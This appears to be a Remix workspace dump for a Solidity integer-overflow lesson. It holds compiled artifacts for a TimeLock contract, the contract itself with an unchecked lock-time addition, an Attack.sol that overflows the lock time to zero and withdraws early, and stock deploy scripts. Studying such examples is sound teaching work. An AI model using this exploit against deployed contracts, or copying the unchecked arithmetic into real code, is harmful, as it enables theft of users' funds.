0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x3E1 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP SWAP1 POP DUP1 PUSH2 0x458 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP1 PUSH1 0x20 ADD DUP3 DUP2 SUB DUP3 MSTORE PUSH1 0x14 DUP2 MSTORE PUSH1 0x20 ADD DUP1 PUSH32 0x4661696C656420746F2073656E64204574686572000000000000000000000000 DUP2 MSTORE POP PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST POP POP JUMP JUMPDEST DUP1 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP PUSH3 0x93A80 TIMESTAMP ADD PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xE6 PUSH28 0x93A5F38CBE6040627023B88E51DB3EB8D9DFDF2E595FD5D7F65607CB 0xBD 0xAF PUSH5 0x736F6C6343 STOP SMOD MOD STOP CALLER ",
"sourceMap": "57:760:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "60806040526004361061004a5760003560e01c806327e235e31461004f5780633ccfd60b146100b457806379af55e4146100cb578063a4beda6314610106578063d0e30db01461016b575b600080fd5b34801561005b57600080fd5b5061009e6004803603602081101561007257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610175565b6040518082815260200191505060405180910390f35b3480156100c057600080fd5b506100c961018d565b005b3480156100d757600080fd5b50610104600480360360208110156100ee57600080fd5b810190808035906020019092919050505061045c565b005b34801561011257600080fd5b506101556004803603602081101561012957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104ac565b6040518082815260200191505060405180910390f35b6101736104c4565b005b60006020528060005260406000206000915090505481565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e73756666696369656e742066756e6473000000000000000000000000000081525060200191505060405180910390fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442116102f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4c6f636b2074696d65206e6f742065787069726564000000000000000000000081525060200191505060405180910390fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060003373ffffffffffffffffffffffffffffffffffffffff168260405180600001905060006040518083038185875af1925050503d80600081146103dc576040519150601f19603f3d011682016040523d82523d6000602084013e6103e1565b606091505b5050905080610458576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4661696c656420746f2073656e6420457468657200000000000000000000000081525060200191505060405180910390fd5b5050565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050565b60016020528060005260406000206000915090505481565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555062093a804201600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555056fea2646970667358221220e67b93a5f38cbe6040627023b88e51db3eb8d9dfdf2e595fd5d7f65607cbbdaf64736f6c63430007060033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x4A JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x27E235E3 EQ PUSH2 0x4F JUMPI DUP1 PUSH4 0x3CCFD60B EQ PUSH2 0xB4 JUMPI DUP1 PUSH4 0x79AF55E4 EQ PUSH2 0xCB JUMPI DUP1 PUSH4 0xA4BEDA63 EQ PUSH2 0x106 JUMPI DUP1 PUSH4 0xD0E30DB0 EQ PUSH2 0x16B JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x5B JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x9E PUSH1 0x4 DUP1 CALLDATASIZE SUB PUSH1 0x20 DUP2 LT ISZERO PUSH2 0x72 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x175 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xC0 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xC9 PUSH2 0x18D JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD7 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x104 PUSH1 0x4 DUP1 CALLDATASIZE SUB PUSH1 0x20 DUP2 LT ISZERO PUSH2 0xEE JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x45C JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x112 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x155 PUSH1 0x4 DUP1 CALLDATASIZE SUB PUSH1 0x20 DUP2 LT ISZERO PUSH2 0x129 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x4AC JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x173 PUSH2 0x4C4 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD GT PUSH2 0x241 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP1 PUSH1 0x20 ADD DUP3 DUP2 SUB DUP3 MSTORE PUSH1 0x12 DUP2 MSTORE PUSH1 0x20 ADD DUP1 PUSH32 0x496E73756666696369656E742066756E64730000000000000000000000000000 DUP2 MSTORE POP PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD TIMESTAMP GT PUSH2 0x2F5 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP1 PUSH1 0x20 ADD DUP3 DUP2 SUB DUP3 MSTORE PUSH1 0x15 DUP2 MSTORE PUSH1 0x20 ADD DUP1 PUSH32 0x4C6F636B2074696D65206E6F7420657870697265640000000000000000000000 DUP2 MSTORE POP PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD SWAP1 POP PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP3 PUSH1 0x40 MLOAD DUP1 PUSH1 0x0 ADD SWAP1 POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x3DC JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x3E1 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP SWAP1 POP DUP1 PUSH2 0x458 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP1 PUSH1 0x20 ADD DUP3 DUP2 SUB DUP3 MSTORE PUSH1 0x14 DUP2 MSTORE PUSH1 0x20 ADD DUP1 PUSH32 0x4661696C656420746F2073656E64204574686572000000000000000000000000 DUP2 MSTORE POP PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST POP POP JUMP JUMPDEST DUP1 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP PUSH3 0x93A80 TIMESTAMP ADD PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xE6 PUSH28 0x93A5F38CBE6040627023B88E51DB3EB8D9DFDF2E595FD5D7F65607CB 0xBD 0xAF PUSH5 0x736F6C6343 STOP SMOD MOD STOP CALLER ",
"sourceMap": "57:760:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;81:40;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;447:368;;;;;;;;;;;;;:::i;:::-;;324:117;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;127:40;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;174:144;;;:::i;:::-;;81:40;;;;;;;;;;;;;;;;;:::o;447:368::-;515:1;492:8;:20;501:10;492:20;;;;;;;;;;;;;;;;:24;484:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;575:8;:20;584:10;575:20;;;;;;;;;;;;;;;;557:15;:38;549:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;632:11;646:8;:20;655:10;646:20;;;;;;;;;;;;;;;;632:34;;699:1;676:8;:20;685:10;676:20;;;;;;;;;;;;;;;:24;;;;712:9;727:10;:15;;750:6;727:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;711:50;;;779:4;771:37;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;447:368;;:::o;324:117::-;416:18;392:8;:20;401:10;392:20;;;;;;;;;;;;;;;;:42;;;;;;;;;;;324:117;:::o;127:40::-;;;;;;;;;;;;;;;;;:::o;174:144::-;244:9;220:8;:20;229:10;220:20;;;;;;;;;;;;;;;;:33;;;;;;;;;;;304:7;286:15;:25;263:8;:20;272:10;263:20;;;;;;;;;;;;;;;:48;;;;174:144::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "285000",
"executionCost": "324",
"totalCost": "285324"
},
"external": {
"balances(address)": "1147",
"deposit()": "41215",
"increaseLockTime(uint256)": "21172",
"lockTime(address)": "1213",
"withdraw()": "infinite"
}
},
"methodIdentifiers": {
"balances(address)": "27e235e3",
"deposit()": "d0e30db0",
"increaseLockTime(uint256)": "79af55e4",
"lockTime(address)": "a4beda63",
"withdraw()": "3ccfd60b"
}
},
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "deposit",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_secondsToIncrease",
"type": "uint256"
}
],
"name": "increaseLockTime",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "lockTime",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
Raw
contracts...artifacts...TimeLock_metadata.json
{
"compiler": {
"version": "0.7.6+commit.7338295f"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "deposit",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_secondsToIncrease",
"type": "uint256"
}
],
"name": "increaseLockTime",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "lockTime",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/TimeLock.sol": "TimeLock"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/TimeLock.sol": {
"keccak256": "0xa03877db18363e55c5a779c4b6051471172e41fdb5f42e6c1f6b828ed5ceb422",
"license": "MIT",
"urls": [
"bzz-raw://b8730c1967586b7e9d445295bf719e382056cef37f5131b3bbcc9153e3d5894e",
"dweb:/ipfs/QmWjRyb68Jau3KAhgjqBPL2h1Uiu6eZaSthBdv7YXzNQ9n"
]
}
},
"version": 1
}
Raw
contracts...Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./TimeLock.sol";
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
/*
if t = current lock time then we need to find x such that
x + t = 2**256 = 0
so x = -t
2**256 = type(uint).max + 1
so x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
Raw
contracts...TimeLock.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
Raw
scripts...deploy_ethers.js
// Right click on the script name and hit "Run" to execute
(async () => {
try {
console.log('Running deployWithEthers script...')
const contractName = 'Storage' // Change this for other contract
const constructorArgs = [] // Put constructor args (if any) here for your contract
// Note that the script needs the ABI which is generated from the compilation artifact.
// Make sure contract is compiled and artifacts are generated
const artifactsPath = `browser/contracts/artifacts/${contractName}.json` // Change this for different path
const metadata = JSON.parse(await remix.call('fileManager', 'getFile', artifactsPath))
// 'web3Provider' is a remix global variable object
const signer = (new ethers.providers.Web3Provider(web3Provider)).getSigner()
let factory = new ethers.ContractFactory(metadata.abi, metadata.data.bytecode.object, signer);
let contract = await factory.deploy(...constructorArgs);
console.log('Contract Address: ', contract.address);
// The contract is NOT deployed yet; we must wait until it is mined
await contract.deployed()
console.log('Deployment successful.')
} catch (e) {
console.log(e.message)
}
})()
Raw
scripts...deploy_web3.js
// Right click on the script name and hit "Run" to execute
(async () => {
try {
console.log('Running deployWithWeb3 script...')
const contractName = 'Storage' // Change this for other contract
const constructorArgs = [] // Put constructor args (if any) here for your contract
// Note that the script needs the ABI which is generated from the compilation artifact.
// Make sure contract is compiled and artifacts are generated
const artifactsPath = `browser/contracts/artifacts/${contractName}.json` // Change this for different path
const metadata = JSON.parse(await remix.call('fileManager', 'getFile', artifactsPath))
const accounts = await web3.eth.getAccounts()
let contract = new web3.eth.Contract(metadata.abi)
contract = contract.deploy({
data: metadata.data.bytecode.object,
arguments: constructorArgs
})
const newContractInstance = await contract.send({
from: accounts[0],
gas: 1500000,
gasPrice: '30000000000'
})
console.log('Contract deployed at address: ', newContractInstance.options.address)
} catch (e) {
console.log(e.message)
}
})()
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